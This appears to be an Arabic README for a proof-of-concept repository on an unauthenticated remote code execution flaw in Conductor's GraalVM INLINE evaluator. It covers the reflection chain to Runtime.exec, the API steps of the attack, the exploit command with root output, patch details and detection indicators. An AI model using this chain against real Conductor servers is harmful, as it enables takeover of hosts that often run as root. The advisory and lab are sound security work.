
CVE-2026-58138 — Conductor (3.21.21..<3.30.2) ثغرة تنفيذ أكواد عن بُعد (RCE) بدون مصادقة عبر مُقيِّم GraalVM المضمّن (INLINE) (HostAccess.ALL). مختبر + إثبات مفهوم (PoC)، تم التحقق منه من البداية إلى النهاية (e2e) بصلاحيات الجذر (root).
الخلاصة: يقوم Conductor من Orkes/OSS (الإصدارات
3.21.21إلى< 3.30.2) بتقييم JavaScript المقدم من المستخدم في مهامINLINEباستخدام سياق GraalVM مع وصول كامل للمضيف (HostAccess.ALL). نظرًا لأن واجهة برمجة التطبيقات المجتمعية لا تحتوي على مصادقة افتراضية، يمكن لأي مستخدم غير مصادق إرسال سير عمل ضار، والانتقال من كائن JavaScript المرتبط إلىjava.lang.Runtime، وتحقيق تنفيذ أوامر عن بُعد (RCE) غير مصادق عليه كمستخدم عملية Conductor (غالبًاroot).
ملاحظة الإصدار: تستخدم الإصدارات حتى
~3.29.xإعدادallowHostAccess(HostAccess.ALL)العادي، والذي يستغله هذا الإثبات بشكل مباشر. الإصداران3.30.0و3.30.1أدخلا قائمة حظر جزئية (تمنع بعض التأمل)، لكن الإصلاح الكامل (allowHostClassLoading(false)+ تقوية المحرك) تم تطبيقه فقط في3.30.2. يستهدف هذا الإثبات الإعداد غير المحمي.
توجد الثغرة في كيفية تكوين Conductor لسياق GraalVM متعدد اللغات لتقييم النصوص البرمجية.
في core/.../events/ScriptEvaluator.java (≤ 3.29.x)، يُبنى السياق بهذه الطريقة:
return Context.newBuilder("js")
.allowHostAccess(HostAccess.ALL) // خطر: وصول كامل للمضيف، بدون حماية
.build();
لماذا هذه نهاية اللعبة:
HostAccess.ALL يمنح محرك JavaScript صلاحية استدعاء أي أسلوب أو الوصول إلى أي حقل في كائنات Java المضيفة.INLINE معاملات الإدخال بالمتغير $ في JavaScript، وهو كائن Java حقيقي.$:
$.getClass().getClass() ➔ java.lang.Class ➔ Class.forName("java.lang.Runtime") ➔ Runtime.getRuntime().exec("sh -c <command>").Context.newBuilder("python").allowAllAccess(true)).يتطلب الهجوم صفر مصادقة ويتبع ثلاث خطوات بسيطة:
POST إلى /api/metadata/workflow مع تعريف سير عمل ضار. تحتوي مهمة INLINE على حمولة JavaScript الانعكاسية في حقل expression الخاص بها.POST إلى /api/workflow/{workflow_name} لتشغيل سير العمل.Runtime.exec الانعكاسي أمر نظام التشغيل، ويُظهر الإثبات ذكاءً في التقاط stdout وإرجاعه كمخرج result للمهمة، والذي يمكن جلبه لاحقًا عبر واجهة API.قم بتشغيل نسخة محلية من إصدار Conductor الضعيف باستخدام Docker.
# استنساخ المستودع وتشغيل بيئة المختبر
docker compose -f docker/docker-lab.yml up -d
# انتظر حوالي 60 ثانية حتى يتم تحميل الخادم المتكامل بالكامل
قم بتشغيل سكربت الاستغلال بلغة Python المقدم. يعتمد فقط على مكتبة Python القياسية (لا حاجة لتبعيات خارجية).
python3 exploit.py http://127.0.0.1:8080 -c "id; hostname; whoami"
[*] Target: http://127.0.0.1:8080
[*] Command: 'id; hostname; whoami'
[*] Registering workflow with a malicious INLINE (javascript) task ... (no auth)
[*] Starting workflow execution ... (no auth)
[*] Started workflow id=pwn_1705432100; reading INLINE task output ...
[+] UNAUTHENTICATED RCE CONFIRMED - command output from the Conductor host:
uid=0(root) gid=0(root) groups=0(root)
vbox
Linux 6.18.12+deb13-amd64
ملاحظة: إخراج uid=0(root) يثبت تنفيذًا حقيقيًا على المضيف، وليس استجابة مُزوّرة.
يمنح الاستغلال الناجح المهاجم تنفيذ أوامر نظام تشغيل تعسفي على مضيف منسّق Conductor.
نظرًا لأن Conductor يُنشر غالبًا بصلاحيات مرتفعة لإدارة البنية التحتية، فإن هذا يؤدي عادةً إلى:
≥ 3.30.2. في هذا الإصدار، لم يعد مُقيِّمو JS و Python يعملون مع وصول المضيف أو تحميل الصفوف ممكّنًا.راقب بيئتك بحثًا عن المؤشرات التالية للاختراق (IoCs):
INLINE أو LAMBDA أو DO_WHILE أو SWITCH تحتوي على تعبيرات expression تشير إلى:
getClass, forName, Runtime, exec, ProcessBuilderjava.lang.reflect أو وصول عام لحزمة java.sh, bash, ) أو تقوم بإجراء اتصالات شبكة صادرة.للغوص العميق في سلسلة الانعكاس، وتكوينات المُقيِّم الخاصة بالإصدار، وتحليل التصحيح، راجع ANALYSIS.md.
إخلاء المسؤولية: يحتوي هذا المستودع على مختبر قابل للإعتماد وإثبات مفهوم (PoC) مخصص حصرًا لأغراض الدفاع والتعليم واختبار الأمان المصرح به. لا تستخدم هذا الكود ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها. لا يتحمل المؤلفون أي مسؤولية عن سوء الاستخدام.
| السمة | التفاصيل |
|---|
| معرّف CVE | CVE-2026-58138 |
| البرنامج المتأثر | Conductor من الإصدار 3.21.21 حتى 3.30.1 |
| الإصدار المُصحَّح | 3.30.2 (الالتزامات: 87a7d96، c691e35) |
| تصنيف الثغرة | CWE-94: حقن تعليمات برمجية (تجاوز حماية GraalVM متعددة اللغات) |
| درجة CVSS v3.1 | 9.8 (حرج) AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| المصادقة | بدون (واجهة برمجة التطبيقات المجتمعية غير مصادق عليها افتراضيًا) |
| التحقق | تم التأكيد كمستخدم root ضد conductoross/conductor:3.22.3 |
cmd.exe